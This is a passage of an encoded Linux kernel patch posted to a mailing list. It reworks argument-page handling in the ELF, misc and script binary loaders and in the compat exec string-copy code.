&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; struct page *page =3D bprm-&gt;page[i];
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; if (page) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp; bprm-&gt;page[i] =3D NULL;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp; install_arg_page(mpnt, page, stack_base);<br>-&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; }<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; stack_base +=3D PAGE_SIZE;<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp; up_write(&amp;mm-&gt;mmap_sem);<br>-<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp; return 0;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return setup_ar=
g_pages(bprm, stack_top, executable_stack);<br> }<br> EXPORT_SYMBOL(ia32_se=
tup_arg_pages);<br><br>Index: linux/fs/binfmt_elf.c
<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>--- linux.orig=
/fs/binfmt_elf.c<br>+++ linux/fs/binfmt_elf.c<br>@@ -253,8 +253,8 @@ create=
_elf_tables(struct linux_binprm *b<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;size_t len;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;if (__put_user((elf_addr_t)p, argv++))<br>&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return -EFAULT=
;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp; len =3D strnlen_user((void __user *)p, PAGE_SIZE*MAX_ARG_PA=
GES);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; if (!len || len &gt; PAGE_SIZE*MAX_ARG_PAGES)
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; len =3D strnlen_user((void __user *)p, MAX_ARG_STRLEN);<br>+=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; if (!len || len &gt; MAX_ARG_STRLEN)<br>&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;p +=3D len;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>@@ -=
265,8 +265,8 @@ create_elf_tables(struct linux_binprm *b
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;size_t len;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (__put_user=
((elf_addr_t)p, envp++))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;return -EFAULT;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; len =3D strnlen_user((v=
oid __user *)p, PAGE_SIZE*MAX_ARG_PAGES);<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!len || len &gt=
; PAGE_SIZE*MAX_ARG_PAGES)
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; len =3D strnlen_user((void __user *)p, MAX_ARG_STRLEN);<br>+=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp; if (!len || len &gt; MAX_ARG_STRLEN)<br>&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;p +=3D len;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>@@ -=
767,10 +767,6 @@ static int load_elf_binary(struct linux_
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/* OK, This is the point of no return */<=
br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current-&gt;mm-&gt;start_data =3D =
0;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current-&gt;mm-&gt;end_data =3D=
 0;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current-&gt;mm-&gt;end_code =
=3D 0;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current-&gt;mm-&gt;mmap =3D=
 NULL;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;current-&gt;flags &amp;=
=3D ~PF_FORKNOEXEC;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;curr=
ent-&gt;mm-&gt;def_flags =3D def_flags;<br><br>Index: linux/fs/binfmt_misc.=
c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br>---=20
linux.orig/fs/binfmt_misc.c<br>+++ linux/fs/binfmt_misc.c<br>@@ -126,7 +126=
,9 @@ static int load_misc_binary(struct linux<br>&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto=
 _ret;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (!(fmt-&gt=
;flags &amp; MISC_FMT_PRESERVE_ARGV0)) {<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp; remove_arg_zero(bprm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D remove_arg_zero(=
bprm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp; if (retval)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; goto _ret;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (fmt-&gt=
;flags &amp; MISC_FMT_OPEN_BINARY) {
<br>Index: linux/fs/binfmt_script.c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D<br>--- linux.orig/fs/binfmt_script.c<br>+++ linux/fs/binfmt=
_script.c<br>@@ -68,7 +68,9 @@ static int load_script(struct linux_binp
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * This is done in reve=
rse order, because of how the<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; * user environment and arguments are stored.<br>&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; re=
move_arg_zero(bprm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; retval =3D re=
move_arg_zero(bprm);<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (retval)
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; return retval;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;retval =3D copy_strings_kernel(1, &amp;bprm-&gt;interp, bprm);<br>&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (retval &lt; 0) return retv=
al;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;bprm-&gt;argc++;<br>=
Index: linux/fs/compat.c<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D
<br>--- linux.orig/fs/compat.c<br>+++ linux/fs/compat.c<br>@@ -1389,6 +1389=
,7 @@ static int compat_copy_strings(int argc,<br> {<br>&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;struct page *kmapped_page =3D NULL;<br>&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char *kaddr =3D NULL;<br>+&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long kpos =3D 0;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int ret;<br><br>&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while (argc-- &gt; 0) {<br>@@ -139=
7,92 +1398,72 @@ static int compat_copy_strings(int argc,<br>&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;unsigned long pos;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (get_user(str, arg=
v+argc) ||<br>
-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; !(len =3D strnle=
n_user(compat_ptr(str), bprm-&gt;p))) {<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p; !(len =3D strnlen_user(compat_ptr(str), MAX_ARG_STRLEN))) {<br>&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret =3D -EFAULT=
;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;g=
oto out;
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bprm-&gt;p &lt; len)&nbsp;=
&nbsp;{<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp; if (MAX_ARG_STRLEN &lt; len) {<br>&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ret =3D -E2BIG;<br>&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto out;<br=
>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;}
<br><br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp; bprm-&gt;p -=3D len;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* XXX: add architect=
ure specific overflow check here. */<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* We&#39;re going to wo=
rk our way backwords. */<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pos =3D bprm-&gt;p;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp; str +=3D len;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;p -=3D len;<br><br>&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;while (len &gt; 0) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; int i, new, err;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int offset, bytes_to_copy;<br>-&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct page *page;
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;offset =3D pos % PAGE_SIZE;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp; i =3D pos/PAGE_SIZE;<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp; page =3D bprm-&gt;page[i];<br>-&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; new =3D 0;<br>-&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!page) {
<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; page =3D alloc_page(GFP_HIGHUSER);<br>-=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bprm-&gt;page[i] =3D page;<br>-&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; if (!page) {<br>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret =3D -ENOMEM;
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (offset =
=3D=3D 0)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset =3D PAGE_SIZE;<br>+<br>=
+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy =
=3D offset;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i=
f (bytes_to_copy &gt; len)<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_to_copy=
 =3D len;
<br>+<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; offset =
-=3D bytes_to_copy;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp; pos -=3D bytes_to_copy;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp; str -=3D bytes_to_copy;<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp; len -=3D bytes_to_copy;<br>+<br>+&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!kmapped_page || kpos !=3D=
 (pos &amp; PAGE_MASK)) {
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct page *page;<br>+<br>+&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp; ret =3D get_user_pages(current, bprm-&gt;mm, pos,<br>+&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;1, 1, 1, &amp;page, NULL);
<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ret &lt;=3D 0) {<br>+&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* We&#39;=
ve exceed the stack rlimit. */<br>+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret =3D -E2BIG;<br>&nbsp;&nbsp;&nbsp=
;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp=
